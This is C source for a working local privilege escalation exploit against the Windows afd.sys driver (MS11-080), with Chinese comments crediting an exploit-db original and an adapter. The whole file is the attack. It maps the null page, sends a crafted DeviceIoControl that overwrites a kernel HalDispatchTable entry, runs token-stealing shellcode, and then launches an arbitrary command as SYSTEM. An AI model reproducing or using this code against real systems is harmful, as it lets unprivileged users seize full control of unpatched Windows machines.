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/*

* MS11-080 Afd.sys Privilege Escalation Exploit

* 来源：Matteo Memelli，[url]http://www.exploit-db.com/exploits/18176/[/url]

* 改编：KiDebug，[email]Google@pku.edu.cn[/email]

* 编译：VC6.0

* 测试环境：原版Windows XP SP3，Windows 2003 SP2，普通用户

*/

#include <stdio.h>

#include <Winsock2.h>

#include <winbase.h>

#include <windows.h>

#pragma comment (lib, "ws2_32.lib")

typedef struct _RTL_PROCESS_MODULE_INFORMATION {

HANDLE Section; // Not filled in

PVOID MappedBase;

PVOID ImageBase;

ULONG ImageSize;

ULONG Flags;

USHORT LoadOrderIndex;

USHORT InitOrderIndex;

USHORT LoadCount;

USHORT OffsetToFileName;

UCHAR FullPathName[ 256 ];

} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {

ULONG NumberOfModules;

RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];

} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );

typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );

typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );

NtQueryIntervalProfile_ NtQueryIntervalProfile;

NtAllocateVirtualMemory_ NtAllocateVirtualMemory;

NtQuerySystemInformation_ NtQuerySystemInformation;

ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;

void _declspec(naked) ShellCode()

{

__asm

{

pushad

pushfd

mov esi,PsReferencePrimaryToken

FindTokenOffset:

lodsb

cmp al, 8Dh;

jnz FindTokenOffset

mov edi,[esi+1]

mov esi,PsInitialSystemProcess

mov esi,[esi]

push fs:[124h]

mov eax,PsGetThreadProcess

call eax

add esi, edi

add edi, eax

movsd

popfd

popad

ret

}

}

void main(int argc, char **argv)

{

if (argc != 3)

{

printf("--------------------------------------\n");

printf("Usage : ms11-080.exe cmd.exe Command \n");

exit(-1);

}

HMODULE ntdll = GetModuleHandle( "ntdll.dll" );

NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );

NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );

NtQuerySystemInformation = ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );

if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )

return;

ULONG BaseAddress = 1 , RegionSize = 0x1000, status;

status = NtAllocateVirtualMemory( (HANDLE)0xFFFFFFFF, (PVOID*)&BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );

if ( status )

return;

//取ntoskrnl的信息，只要调用一次就行

ULONG NtoskrnlBase;

RTL_PROCESS_MODULES module;

status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11

if ( status != 0xC0000004 ) //STATUS_INFO_LENGTH_MISMATCH

return;

NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;

//把ntoskrnl.exe加载进来

HMODULE ntoskrnl;

ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );

if ( ntoskrnl == NULL )

return;

//计算实际地址

WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址

PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;

PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

//以下代码就各显神通了

if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )

return;

memset((PVOID)0x02070000,0x90,0x20000);

memcpy((PVOID)0x02080000,ShellCode,100);

WSADATA ws;

SOCKET tcp_socket;

struct sockaddr_in peer;

ULONG dwReturnSize;

WSAStartup(0x0202,&ws);

peer.sin_family = AF_INET;

peer.sin_port = htons(4455);

peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );

tcp_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )

{

//printf("connect error\n");

}

UCHAR buf1[26]= "\x41\x41\x41\x41\x42\x42\x42\x42\x00\x00\x00\x00\x44\x44\x44\x44\x01\x00\x00\x00\xe8\x00\x34\xf0\x00";

memset((PVOID)0x1000,0x45,0x108);

memcpy((PVOID)0x1000,buf1,25);

if(!DeviceIoControl((HANDLE)tcp_socket,0x000120bb, (PVOID)0x1004, 0x108, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL))

{

//printf("error=%d\n", GetLastError());

}

//触发，弹出SYSTEM的CMD

NtQueryIntervalProfile( 2, &status );

printf("[>] ms11-080 Exploit\n");

printf("[>] by:Mer4en7y@90sec.org\n");

SECURITY_ATTRIBUTES sa;

HANDLE hWrite,hRead;

STARTUPINFO si;

PROCESS_INFORMATION pi;

char buf[4096];

DWORD dwReadBytes;

char lpcmd[256]={0};

ZeroMemory(buf,4096);

sa.bInheritHandle = TRUE;

sa.lpSecurityDescriptor = NULL;

sa.nLength = sizeof(SECURITY_ATTRIBUTES);

if(!CreatePipe(&hRead,&hWrite,&sa,0))

{

printf("[>] create pipe error\n");

}

si.cb = sizeof(STARTUPINFO);

GetStartupInfo(&si);

si.hStdError = hWrite;

si.hStdOutput = hWrite;

si.wShowWindow = SW_HIDE;

si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

strcat(lpcmd,"/c ");

strcat(lpcmd,argv[2]);

if(!CreateProcess(argv[1],lpcmd,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi))

{

printf("[>] create porcess error\n");

}

CloseHandle(hWrite);

while(dwReadBytes!=0)

{

WriteFile(hWrite,"test1",6,&dwReadBytes,NULL);

ZeroMemory(buf,4096);

ReadFile(hRead,buf,4096,&dwReadBytes,NULL);

printf("%s\n",buf);

}

return;

}